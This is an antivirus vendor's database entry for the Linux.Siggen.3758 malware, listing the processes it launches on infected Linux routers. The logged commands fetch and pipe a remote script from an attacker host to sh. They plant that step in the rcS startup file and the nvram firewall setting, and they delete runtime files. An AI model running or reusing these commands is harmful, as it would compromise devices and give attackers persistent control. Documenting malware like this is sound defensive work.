Linux.Siggen.3758

Linux.Siggen.3758

Added to the Dr.Web virus database: 2021-03-14

Virus description added: 2021-03-14

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches itself as a daemon

Modifies router settings:

Launches processes:

sh -c cat /etc/init.d/rcS | grep -v \"wget\" > /etc/init.d/rcS.bak
cat /etc/init.d/rcS
grep -v wget
sh -c echo \"sleep 300 && wget -qO - http://fkd.derpcity.ru/nvr | sh &\" > /etc/init.d/rcS
sh -c cat /etc/init.d/rcS.bak >> /etc/init.d/rcS
cat /etc/init.d/rcS.bak
sh -c rm -rf /etc/init.d/rcS.bak
rm -rf /etc/init.d/rcS.bak
sh -c nvram set rc_firewall=\"sleep 120 && wget -qO - http://fkd.derpcity.ru/nvr | sh\" > /dev/null 2>&1
sh -c nvram commit > /dev/null 2>&1
sh -c rm -rf /var/run/wgsh > /dev/null 2>&1 &
sh -c rm -rf /var/run/bbsh > /dev/null 2>&1 &
rm -rf /var/run/wgsh
sh -c rm -rf /var/run/tty0 > /dev/null 2>&1 &
rm -rf /var/run/bbsh
sh -c rm -rf /var/run/tty1 > /dev/null 2>&1 &
rm -rf /var/run/tty0
sh -c rm -rf /var/run/tty2 > /dev/null 2>&1 &
rm -rf /var/run/tty1
rm -rf /var/run/tty2
sh -c rm -rf /var/run/tty3 > /dev/null 2>&1 &
sh -c rm -rf /var/run/tty4 > /dev/null 2>&1 &
rm -rf /var/run/tty3
sh -c rm -rf /var/run/tty5 > /dev/null 2>&1 &
sh -c rm -rf /tmp/tty0 > /dev/null 2>&1 &
rm -rf /var/run/tty5
sh -c rm -rf /tmp/tty1 > /dev/null 2>&1 &

Performs operations with the file system:

Deletes files:

Network activity:

Awaits incoming connections on ports:

Other:

Collects OS information